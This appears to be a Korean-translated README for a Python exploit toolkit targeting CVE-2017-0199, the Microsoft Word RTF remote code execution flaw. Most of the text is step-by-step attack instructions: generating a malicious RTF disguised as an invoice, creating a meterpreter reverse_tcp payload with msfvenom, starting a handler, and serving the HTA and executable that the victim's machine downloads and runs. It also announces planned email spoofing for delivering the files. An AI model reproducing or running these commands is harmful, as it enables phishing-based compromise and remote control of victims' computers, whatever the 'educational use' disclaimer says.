Exploit toolkit CVE-2017-0199 - v2.0

Exploit toolkit CVE-2017-0199 - v2.0은 Microsoft RTF RCE를 빠르고 효과적으로 익스플로잇할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 설정 없이 악성 RTF 파일을 생성하고 metasploit/meterpreter 페이로드를 피해자에게 전달할 수 있습니다.

비디오 튜토리얼

https://youtu.be/42LjG7bAvpg

릴리스 노트:

스크립트에 다음과 같은 기능이 도입되었습니다

- 툴킷을 사용하여 악성 RTF 파일 생성
- 소형 HTA + 웹 서버로 익스플로잇 모드에서 툴킷 실행

Version: Python version 2.7.13

향후 릴리스:

다음 기능 작업 중

- 이메일 스푸핑을 사용하여 생성된 악성 RTF를 피해자에게 자동 전송

예제:

1단계: 다음 명령을 사용하여 악성 RTF 파일을 생성하고 피해자에게 보내십시오

  구문:

  # python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u <http://attacker.com/test.hta>

  예:

  # python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc

2단계 (선택 사항, MSF 페이로드를 사용하는 경우) : metasploit 페이로드를 생성하고 핸들러 시작

  예:

  페이로드 생성:

  # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

  핸들러 시작:

  # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"

3단계: 페이로드를 전달하기 위해 익스플로잇 모드로 툴킷 시작

  구문:

  # python cve-2017-0199_toolkit.py -M exp -e <http://attacker.com/shell.exe> -l </tmp/shell.exe>

  예:

  # python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

명령줄 인수:

# python cve-2017-0199_toolkit.py -h

이것은 CVE-2017-0199 (Microsoft Word RTF RCE)를 익스플로잇하기 위한 편리한 툴킷입니다

모드:

-M gen                                          악성 RTF 파일만 생성

     악성 RTF 파일 생성:

      -w <Filename.rtf>                   악성 RTF 파일의 이름 (이 파일을 피해자와 공유하십시오).

      -u <http://attacker.com/test.hta>   hta 파일의 경로. 일반적으로 이 도구가 실행 중인 도메인 또는 IP여야 합니다.

                                             예: http://attackerip.com/test.hta (이 URL은 악성 RTF 파일에 포함되며,

                                             피해자가 악성 RTF 파일을 열면 요청됩니다.)
-M exp                                          익스플로잇 모드 시작

     익스플로잇:

      -p <TCP port:Default 80>            로컬 포트 번호.

      -e <http://attacker.com/shell.exe>  대상에서 실행해야 하는 실행 파일 / meterpreter 셸 / 페이로드의 경로.

      -l </tmp/shell.exe>                 실행 파일 / meterpreter 셸 / 페이로드의 로컬 경로 (페이로드가 로컬에 호스팅된 경우).

면책 조항

이 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(bhdresh)는 이 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 모든 손해에 대해 책임을 지지 않습니다. 저자 또는 인터넷 제공자는 이 프로그램이나 그 파생물의 콘텐츠 또는 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인한 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 bhdresh의 책임이 아님을 인정하는 것입니다.

크레딧

@nixawk: RTF 샘플, @bhdresh

버그, 이슈, 기능 요청

분명히 저는 풀타임 개발자가 아니므로 약간의 문제가 있을 수 있습니다.

버그 및 이슈는 [email protected]으로 보고해 주십시오.

CVE-2017-0199

인기